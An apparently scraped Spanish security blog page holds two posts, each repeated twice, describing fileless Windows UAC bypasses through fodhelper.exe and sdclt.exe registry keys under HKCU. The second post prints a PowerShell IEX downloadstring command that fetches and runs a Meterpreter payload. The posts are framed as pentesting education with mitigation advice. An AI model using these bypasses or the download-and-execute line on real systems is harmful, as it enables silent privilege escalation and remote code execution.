Showing posts with label fileless. Show all posts
Showing posts with label fileless. Show all posts
Friday, September 22, 2017
Fileless 3 Bypass UAC en Windows 10 Otro más aunque parezca increíble
Fileless 3 Bypass UAC en Windows 10 Otro más aunque parezca increíble
Hoy traemos un nuevo bypass de UAC del tipo Fileless, y van tres descubiertos ya con el de hoy, con el que podemos saltarnos la interacci�n con el usuario para saltar la protecci�n de User Account Control . Este m�todo ha sido encontrado por un investigador alem�n que prepara su tesis sobre este tipo de debilidades de los sistemas de Windows. Es cierto que Microsoft no lo considera una vulnerabilidad, pero ha decidido parchear algunos ya que pueden ser utilizados por malware para lograr ejecutarse como SYSTEM en el equipo.
Meses atr�s hablamos del Fileless y Fileless 2 como los primeros m�todos en los que no se generaba o se sub�a un fichero a disco para llevar a cabo el bypass. Hoy tenemos un nuevo Fileless y, a priori, van tres ya.
Como ya hemos comentado en otras ocasiones, tenemos unas pre-condiciones para hacer un bypass de UAC y son las siguientes:
PoC: Fileless 3 in action!
Vamos a llevar a cabo una prueba de concepto sencilla sobre un sistema Windows 10. Para observar cuando un binario consulta ramas de registro no creadas en HKCU utilizaremos la herramienta Process Monitor. Esta herramienta es f�cil de configurar y, para ello, crearemos un par de filtros, uno para el binario fodhelper.exe y otro para los resultados �NAME NOT FOUND� que se obtengan de consultar al registro, como ya hemos hecho en otros bypass de UAC.
En la imagen podemos ver c�mo la consulta a HKCU:SoftwareClassesms-settingsShellOpencommand nos proporciona un �NAME NOT FOUND�. Si creamos esta ruta en el registro de Windows, ya que se encuentra en HKCU y podemos hacerlo sin problema, y volvemos a ejecutar el binario fodhelper.exe monitorizado con Process Monitor nos encontraremos lo siguiente:
Si buscamos la ruta HKCU:SoftwareClasessms-settingsshellopencommandDelegateExecute vemos que no existe, es decir, no se encuentra por el binario. Si nos fijamos en la clave anterior, vemos como s� la ha encontrado, pero no la clave DelegateExecute.
Cuando el String Value de DelegateExecute existe, el binario buscar� la clave por defecto de la ruta HKCU:SoftwareClassesms-settingsshellopencommand ejecutando lo que haya en el valor de dicha clave. Al ser ejecutado con un binario que se est� ejecutando con integridad alta, el nuevo proceso tendr� el mismo nivel de integridad.
Para revisar los niveles de integridad en Windows se puede utilizar nuestra utilidad de ElevenPaths MicEnum. Adem�s, como el binario fodhelper.exe est� firmado por Microsoft y tiene el AutoElevate a True por lo que no solicitar� la confirmaci�n del usuario con UAC.
Ahora, modificamos (Default) e indicamos, por ejemplo, C:WindowsSystem32WindowsPowershellv1.0powershell.exe. Esto har� que cuando invoquemos a fodhelper.exe, �ste acabe abriendo una Powershell con el m�ximo privilegio.
Os dejamos un video d�nde pod�is ver el proceso de manera sencilla. Un nuevo Fileless que puede ser utilizado en el mundo de la auditor�a y el hacking �tico. Aunque viendo lo que ocurri� con el primer Fileless, hay que estar preparado para luchar contra el posible malware que pueda utilizarlo.
Como se puede entender, y hemos visto en otras ocasiones, este tipo de t�cnicas puede utilizarse en un pentesting d�nde poder ser SYSTEM desde un usuario que sea del grupo administradores. Adem�s, se puede utilizar de manera sencilla con Meterpreter en Metasploit gracias a la integraci�n con Powershell que puede hacerse de forma sencilla. Y recuerda, estos m�todos no funcionan si tienes aplicada la M�xima Seguridad a tu Windows.
Autor: Pablo Gonz�lez P�rez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y �Pentesting con Powershell�, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths con la colaboraci�n de Santiago Hern�ndez Ramos, nuevo cybersecurity "padawan" researcher en ElevenPaths
![]() |
Figura 1: Fileless 3: Bypass UAC en MS Windows 10 |
Meses atr�s hablamos del Fileless y Fileless 2 como los primeros m�todos en los que no se generaba o se sub�a un fichero a disco para llevar a cabo el bypass. Hoy tenemos un nuevo Fileless y, a priori, van tres ya.
![]() |
Figura 2: Art�culo explicando "Fileless 3" por el investigador. |
Como ya hemos comentado en otras ocasiones, tenemos unas pre-condiciones para hacer un bypass de UAC y son las siguientes:
� El usuario forma parte del grupo administradores.
� El UAC tiene la pol�tica por defecto, es decir, no se ha modificado esta pol�tica desde la instalaci�n del sistema.
![]() |
Figura 3: Con la configuraci�n de UAC en "Modo Windows Vista" no funcionan estos bypass |
� En este caso, tenemos un sistema operativo Windows 10. El Fileless 3 solo nos funcionar� en esta versi�n, ya que el binario que permite llevar a cabo el bypass solo se encuentra en esta versi�n.Como buen Fileless este bypass radica en errores de los binarios al consultar ramas del registro que se encuentran en HKCU. Si una rama consultada en HKCU no existe, podemos crearla y hacer que exista de forma sencilla. Por esta raz�n, veremos a continuaci�n c�mo de f�cil es encontrar otros bypass de UAC siguiente el patr�n.
PoC: Fileless 3 in action!
Vamos a llevar a cabo una prueba de concepto sencilla sobre un sistema Windows 10. Para observar cuando un binario consulta ramas de registro no creadas en HKCU utilizaremos la herramienta Process Monitor. Esta herramienta es f�cil de configurar y, para ello, crearemos un par de filtros, uno para el binario fodhelper.exe y otro para los resultados �NAME NOT FOUND� que se obtengan de consultar al registro, como ya hemos hecho en otros bypass de UAC.
![]() |
Figura 4: Filtros en Process Explorer para fodhelper.exe y "NAME NOT FOUND" |
En la imagen podemos ver c�mo la consulta a HKCU:SoftwareClassesms-settingsShellOpencommand nos proporciona un �NAME NOT FOUND�. Si creamos esta ruta en el registro de Windows, ya que se encuentra en HKCU y podemos hacerlo sin problema, y volvemos a ejecutar el binario fodhelper.exe monitorizado con Process Monitor nos encontraremos lo siguiente:
![]() |
Figura 5: Falla en la localizaci�n de la clave DelegateExecute |
Si buscamos la ruta HKCU:SoftwareClasessms-settingsshellopencommandDelegateExecute vemos que no existe, es decir, no se encuentra por el binario. Si nos fijamos en la clave anterior, vemos como s� la ha encontrado, pero no la clave DelegateExecute.
Cuando el String Value de DelegateExecute existe, el binario buscar� la clave por defecto de la ruta HKCU:SoftwareClassesms-settingsshellopencommand ejecutando lo que haya en el valor de dicha clave. Al ser ejecutado con un binario que se est� ejecutando con integridad alta, el nuevo proceso tendr� el mismo nivel de integridad.
Figura 6: MicEnum permite analizar los niveles de integridad de binarios y claves de registro |
Para revisar los niveles de integridad en Windows se puede utilizar nuestra utilidad de ElevenPaths MicEnum. Adem�s, como el binario fodhelper.exe est� firmado por Microsoft y tiene el AutoElevate a True por lo que no solicitar� la confirmaci�n del usuario con UAC.
![]() |
Figura 7: Valor por defecto en la clave DelegateExecute (value not set) |
Ahora, modificamos (Default) e indicamos, por ejemplo, C:WindowsSystem32WindowsPowershellv1.0powershell.exe. Esto har� que cuando invoquemos a fodhelper.exe, �ste acabe abriendo una Powershell con el m�ximo privilegio.
![]() |
Figura 8: Valor modificado a ejecuci�n de Powershell |
Os dejamos un video d�nde pod�is ver el proceso de manera sencilla. Un nuevo Fileless que puede ser utilizado en el mundo de la auditor�a y el hacking �tico. Aunque viendo lo que ocurri� con el primer Fileless, hay que estar preparado para luchar contra el posible malware que pueda utilizarlo.
Figura 9: PoC en V�deo de Fileless 3 UAC Bypass
Como se puede entender, y hemos visto en otras ocasiones, este tipo de t�cnicas puede utilizarse en un pentesting d�nde poder ser SYSTEM desde un usuario que sea del grupo administradores. Adem�s, se puede utilizar de manera sencilla con Meterpreter en Metasploit gracias a la integraci�n con Powershell que puede hacerse de forma sencilla. Y recuerda, estos m�todos no funcionan si tienes aplicada la M�xima Seguridad a tu Windows.
Autor: Pablo Gonz�lez P�rez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y �Pentesting con Powershell�, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths con la colaboraci�n de Santiago Hern�ndez Ramos, nuevo cybersecurity "padawan" researcher en ElevenPaths
Sigue Un inform�tico en el lado del mal - Google+ RSS 0xWord

download file now
Monday, September 11, 2017
Fileless 2 Un nuevo sí uno más otra vez bypass UAC para Windows
Fileless 2 Un nuevo sí uno más otra vez bypass UAC para Windows
Hace unos meses Enigma0x3 publicaba un Bypass UAC distinto a los conocidos hasta el momento, se trataba de un bypass UAC Fileless, es decir, sin necesidad de subir una DLL o un binario al equipo para explotar o aprovecharse de la debilidad. En este caso, se manipulaban unos hives del registro y se lograba obtener ejecuci�n de c�digo en un contexto de integridad alto. Incluso, en su d�a, nos adelantamos siendo los primeros en migrar a Metasploit el c�digo del bypass UAC Fileless de Enigma0x3.
La batalla sigue su curso y siguen apareciendo bypasses de UAC, tal y como podemos ver casi semanalmente en UACMe. Incluso, nosotros tenemos nuestra versi�n del bypass de UAC con el DLL Hijacking con Wusa y aprovech�ndonos de CompMgmtLauncher.exe. Lo importante es ver c�mo muchas t�cnicas se repiten o el proceso para realizar b�squedas de debilidades en esta feature de Microsoft es muy parecida en muchos casos y entender las bases de todo esto.
Figura 2: V�deo con PoC de UAC Bypass usando CompMgmtLauncher en Windows 7/8/8.1
Hace un par de semanas os contaba c�mo hacer un bypass de UAC aprovech�ndonos de los AppPaths. Este bypass tambi�n fue descubierto por Enigma0x3. Hoy hablaremos de nuevo de este bypass y como conseguir que, gracias a ello, podamos obtener una nueva versi�n de bypass UAC Fileless.
Manos a la obra: En busca del Bypass UAC
Ya vimos que los binarios firmados por Microsoft que son auto-elevados pueden traer debilidades debido a la pol�tica de UAC, por ello se recomienda cambiarla a �Notificar siempre�. En el bypass de los AppPaths, el binario encontrado que proporcionaba el �xito era el binario sdclt.exe.
Cuando se analiz� los argumentos con los que se ejecuta sdclt.exe se pudo observar que existen varios y que alguno podr�a ser interesante. Enigma0x3 se dio cuenta de que cuando se invoca sdclt.exe se comprueba si el argumento coincide con �/kickoffelev�, si esto es as� se establece la ruta completa para sdclt.exe y se agrega �/kickoffjob� como par�metro y se invoca a SxShellExecuteWithElevate. Esto hace que se inicie �%systemroot%System32sdclt.exe /kickoffjob� con el verbo �runas�. En otras palabras, es una forma pragm�tica de ejecutar la opci�n �RunAsAdministrator� cuando se hace clic con el bot�n secundario.
Si echamos un ojo a la ejecuci�n de sdclt.exe /Kickoffelev con nuestro procmon podremos observar que en la rama HKCU del registro de Windows nos encontramos �Shell[verbo]command� d�nde se podr� escribir cualquier cosa. En el caso del [verbo], ser� �runas� lo que nos encontraremos. En esta clave que no se encuentra podremos poner una llamada a un binario con par�metros, lo cual es muy interesante para lograr el bypass de UAC y ejecutar nuestro c�digo.
Cuando se a�ade la clave por defecto en la ruta del registro HKCU SoftwateClassesexefileshell unascommand no se obtiene nada. Volviendo a ejecutar Procmon con esa ruta creada vemos que nos aparece una nueva clave no encontrada denominada IsolatedCommand. Ahora s�, en el momento que creemos esa clave y le demos un valor podremos ejecutar c�digo en un contexto de integridad alta.
Si lanzamos el binario sdclt.exe /kickoffevel aparecer� una cmd.exe, tal y como se puede ver en la siguiente imagen. Se puede ver como se crea un fichero en c: y luego se borra, por lo que se est� ejecutando el cmd.exe en un proceso de integridad alta o con privilegio.
Si modificamos el valor de la entrada por la ejecuci�n de una Powershell que ejecute la instrucci�n:
Y como lo mejor es verlo funcionando, en este v�deo de menos de dos minutos y medio, os dejo una demostraci�n paso a paso de lo que os he explicado en el art�culo.
Como se puede ver, es una nueva forma, muy similar, de realizar Fileless en un bypass de UAC. Microsoft poco a poco va parcheando este tipo de situaciones, aunque no lo consideren vulnerabilidades, y t�, por si acaso, deber�as subir el nivel de seguridad de UAC. En resumen, una nueva forma para utilizar en una auditor�a interna de sistemas.
Autor: Pablo Gonz�lez P�rez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y �Pentesting con Powershell�, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths
![]() |
Figura 1: Fileless II. Un nuevo (s�, uno m�s otra vez) Bypass UAC para Windows |
La batalla sigue su curso y siguen apareciendo bypasses de UAC, tal y como podemos ver casi semanalmente en UACMe. Incluso, nosotros tenemos nuestra versi�n del bypass de UAC con el DLL Hijacking con Wusa y aprovech�ndonos de CompMgmtLauncher.exe. Lo importante es ver c�mo muchas t�cnicas se repiten o el proceso para realizar b�squedas de debilidades en esta feature de Microsoft es muy parecida en muchos casos y entender las bases de todo esto.
Figura 2: V�deo con PoC de UAC Bypass usando CompMgmtLauncher en Windows 7/8/8.1
Hace un par de semanas os contaba c�mo hacer un bypass de UAC aprovech�ndonos de los AppPaths. Este bypass tambi�n fue descubierto por Enigma0x3. Hoy hablaremos de nuevo de este bypass y como conseguir que, gracias a ello, podamos obtener una nueva versi�n de bypass UAC Fileless.
Manos a la obra: En busca del Bypass UAC
Ya vimos que los binarios firmados por Microsoft que son auto-elevados pueden traer debilidades debido a la pol�tica de UAC, por ello se recomienda cambiarla a �Notificar siempre�. En el bypass de los AppPaths, el binario encontrado que proporcionaba el �xito era el binario sdclt.exe.
![]() |
Figura 3: Configuraci�n segura en Modo Windows "Vista" |
Cuando se analiz� los argumentos con los que se ejecuta sdclt.exe se pudo observar que existen varios y que alguno podr�a ser interesante. Enigma0x3 se dio cuenta de que cuando se invoca sdclt.exe se comprueba si el argumento coincide con �/kickoffelev�, si esto es as� se establece la ruta completa para sdclt.exe y se agrega �/kickoffjob� como par�metro y se invoca a SxShellExecuteWithElevate. Esto hace que se inicie �%systemroot%System32sdclt.exe /kickoffjob� con el verbo �runas�. En otras palabras, es una forma pragm�tica de ejecutar la opci�n �RunAsAdministrator� cuando se hace clic con el bot�n secundario.
![]() |
Figura 4: invocaci�n de ejecuci�n |
Si echamos un ojo a la ejecuci�n de sdclt.exe /Kickoffelev con nuestro procmon podremos observar que en la rama HKCU del registro de Windows nos encontramos �Shell[verbo]command� d�nde se podr� escribir cualquier cosa. En el caso del [verbo], ser� �runas� lo que nos encontraremos. En esta clave que no se encuentra podremos poner una llamada a un binario con par�metros, lo cual es muy interesante para lograr el bypass de UAC y ejecutar nuestro c�digo.
![]() |
Figura 5: Clave NOT FOUND |
Cuando se a�ade la clave por defecto en la ruta del registro HKCU SoftwateClassesexefileshell unascommand no se obtiene nada. Volviendo a ejecutar Procmon con esa ruta creada vemos que nos aparece una nueva clave no encontrada denominada IsolatedCommand. Ahora s�, en el momento que creemos esa clave y le demos un valor podremos ejecutar c�digo en un contexto de integridad alta.
![]() |
Figura 6: Clave del Registro con direcci�n de shell |
Si lanzamos el binario sdclt.exe /kickoffevel aparecer� una cmd.exe, tal y como se puede ver en la siguiente imagen. Se puede ver como se crea un fichero en c: y luego se borra, por lo que se est� ejecutando el cmd.exe en un proceso de integridad alta o con privilegio.
![]() |
Figura 7: Shell ejecutada |
Si modificamos el valor de la entrada por la ejecuci�n de una Powershell que ejecute la instrucci�n:
IEX (new-object net.webclient).downloadstring(�[ruta http de Meterpreter]�)...podr�amos encontrar la posibilidad de ejecutar nuestro c�digo de forma remota en un contexto de integridad alto y sin necesidad de subir un binario o una DLL.
![]() |
Figura 8: Ruta de ejecuci�n PowerShell |
Y como lo mejor es verlo funcionando, en este v�deo de menos de dos minutos y medio, os dejo una demostraci�n paso a paso de lo que os he explicado en el art�culo.
Figura 9: PoC de Fileless 2 para hacer Bypass de UAC en Windows
Como se puede ver, es una nueva forma, muy similar, de realizar Fileless en un bypass de UAC. Microsoft poco a poco va parcheando este tipo de situaciones, aunque no lo consideren vulnerabilidades, y t�, por si acaso, deber�as subir el nivel de seguridad de UAC. En resumen, una nueva forma para utilizar en una auditor�a interna de sistemas.
Autor: Pablo Gonz�lez P�rez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y �Pentesting con Powershell�, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths
Sigue Un inform�tico en el lado del mal - Google+ RSS 0xWord

download file now
Subscribe to:
Posts (Atom)